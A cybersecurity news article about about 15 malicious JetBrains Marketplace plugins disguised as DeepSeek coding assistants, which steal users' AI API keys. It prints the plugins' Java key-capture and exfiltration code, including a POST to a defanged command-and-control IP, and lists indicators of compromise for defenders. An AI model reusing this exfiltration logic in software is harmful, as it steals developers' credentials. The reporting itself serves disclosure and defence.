Wednesday, October 14, 2026

JetBrains Plugin Security Alert: 70,000+ Installs Linked to AI Key Theft

A coordinated supply chain attack targeting JetBrains IDE users has exposed over 70,000 developers to silent credential theft.

The campaign involves at least 15 malicious plugins distributed via the JetBrains Marketplace, masquerading as AI-powered coding assistants built on models such as DeepSeek.

While these plugins function as advertised, offering features like code review, chat, and commit message generation, they secretly exfiltrate sensitive API keys entered by users, raising significant concerns about security and trust in the developer ecosystem and IDE extensions.

JetBrains Plugin Security Alertsa

The malicious plugins were published under seven separate vendor accounts and have been active since October 2025, with new variants emerging as recently as June 2026.

Despite JetBrains’ manual review process, the attackers successfully embedded stealthy data exfiltration logic into otherwise legitimate-looking functionality, according to research published by Aikido Security.

The primary target is API keys from AI providers such as OpenAI, DeepSeek, and SiliconFlow. These valuable credentials can be abused to obtain computational resources or resold on underground markets.

Technical analysis shows that the exfiltration mechanism is triggered immediately when a user saves their API key within the plugin settings. The malicious logic is embedded in a standard configuration handler, making detection difficult during casual inspection:

public static void save(String key) {
    if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
        SoftwareDto dto = new SoftwareDto();
        dto.setApiKey(key);
        BaseUtil.request("key", dto);
    }
}

```

The stolen key is transmitted via an unencrypted HTTP request to a hardcoded command-and-control (C2) server:

URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");

```

Notably, the infrastructure uses plaintext transmission and a static authentication token, indicating minimal operational security but high effectiveness due to user trust.

In a further twist, some plugins implement a “paid tier” model where users receive replacement API keys from the attacker’s server. Researchers suspect these keys may be recycled from previously stolen credentials, effectively turning the operation into a credential resale service.

This campaign highlights a growing trend of attackers targeting developer environments, where IDEs serve as centralized hubs containing source code, credentials, and cloud access tokens. Plugins operate with high privileges and minimal sandboxing, making them ideal vectors for stealthy data theft.

Similar supply chain attacks, such as the “GlassWorm” campaign affecting VS Code, demonstrate that this threat class is rapidly expanding.

Indicators of Compromise (IoCs)

Network IoCs

TypeIndicatorDescription
IP39.107.60[.]51C2 / exfiltration endpoint IP

Malicious JetBrains Plugins

Plugin namePlugin IDApprox. installsFirst seen (release date)
DeepSeek Junit Testorg.sm.yms.toolkit1,1212025-10-31
DeepSeek Git Commitcom.json.simple.kit1,8942025-11-01
DeepSeek FindBugsorg.bug.find.tools1,4852025-11-09
DeepSeek AI Chatorg.translate.ai.simple1,3172025-11-23
DeepSeek Dev AIcom.yy.test.ai.simple7402025-11-30
DeepSeek AI Codingcom.dev.ai.toolkit4502025-12-06
AI FindBugscom.json.view.simple6232025-12-14
AI Git Commitorcom.my.git.ai.kit3012026-01-10
AI Coder Revieworg.check.ai.ds7352026-01-11
DeepSeek Coder AIcom.review.tool.code3,4982026-01-15
AI Coder Assistantorg.code.assist.dev.tool3192026-02-01
DeepSeek Code Reviewcom.coder.ai.dpt2782026-04-18
CodeGPT AI Assistantcom.my.code.tools25,5712026-06-09
DeepSeek AI Assistord.cp.code.ai.kit27,7272026-06-10
Coding Simple Toolcom.dp.git.ai.tool3,931N/A (no online versions)

Malicious Vendor Accounts

Vendor display nameVendor ID / handle
CodePilotmycode
StackSmithmisshewei
CodeCrafterketeme
CodeWeaversimpledev
JetCodeskyblue
DailyCodedialycode
ZenCoder947cb4c8-5db1-4cf0-8182-0aae7c433bb3

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Security experts recommend immediate removal of affected plugins, rotation of exposed API keys, and monitoring for abnormal API usage. Organizations should also adopt stricter controls around plugin installation and leverage tools such as software composition analysis (SCA) and runtime protection to detect նման threats early.

CISO & Security Leaders: Your next breach may not have a face. Join ISC2’s LIVE webinar, “Ghost in the Machine”

Divya
Divya
Divya is a Senior Journalist at GBhackers covering Cyber Attacks, Threats, Breaches, Vulnerabilities and other happenings in the cyber world.

Hot this week

How To Access Dark Web Anonymously and know its Secretive and Mysterious Activities

What is Deep Web The deep web, invisible web, or...

How to Build and Run a Security Operations Center (SOC Guide) – 2023

Today’s Cyber security operations center (CSOC) should have everything...

Russian Hackers Bypass EDR to Deliver a Weaponized TeamViewer Component

TeamViewer's popularity and remote access capabilities make it an...

Web Server Penetration Testing Checklist – 2026

Web server pentesting is performed under three significant categories: identity,...

ATM Penetration Testing – Advanced Testing Methods to Find The Vulnerabilities

ATM Penetration testing, Hackers have found different approaches to...

Criminal IP to Showcase Threat Intelligence and AITEM at Security Days Fall 2026 Tokyo

Torrance, California, October 13th, 2026, CyberNewswire Criminal IP, developed by...

G2A.COM Reports 35% Growth in Security Software Orders, Outpacing VPN Growth

Amsterdam, Netherlands, October 13th, 2026, CyberNewswire Antivirus and security software...

Hackers Target Hundreds of French Supermarkets, Heating Refrigeration Systems to 50°C

Hundreds of French supermarkets experienced refrigeration disruptions after hackers...

Attackers Can Hijack npm Packages Without Stealing Developer Credentials

A flaw in npm’s Trusted Publishing mechanism could let...

Anthropic Warns AI Models Could Soon Self-Replicate Across Smart TVs and IoT Devices

Anthropic researchers have raised concerns that small artificial intelligence...

New macOS Malware Uses Fake System Prompts to Steal Passwords and Deploy RAT

A newly marketed macOS malware-as-a-service platform, ICMacOS, is using...

Hackers Exploit Citrix NetScaler Zero-Days to Deploy Modified Platypus Backdoor

Threat actors are exploiting two critical zero-day vulnerabilities in...

Related Articles

Recent News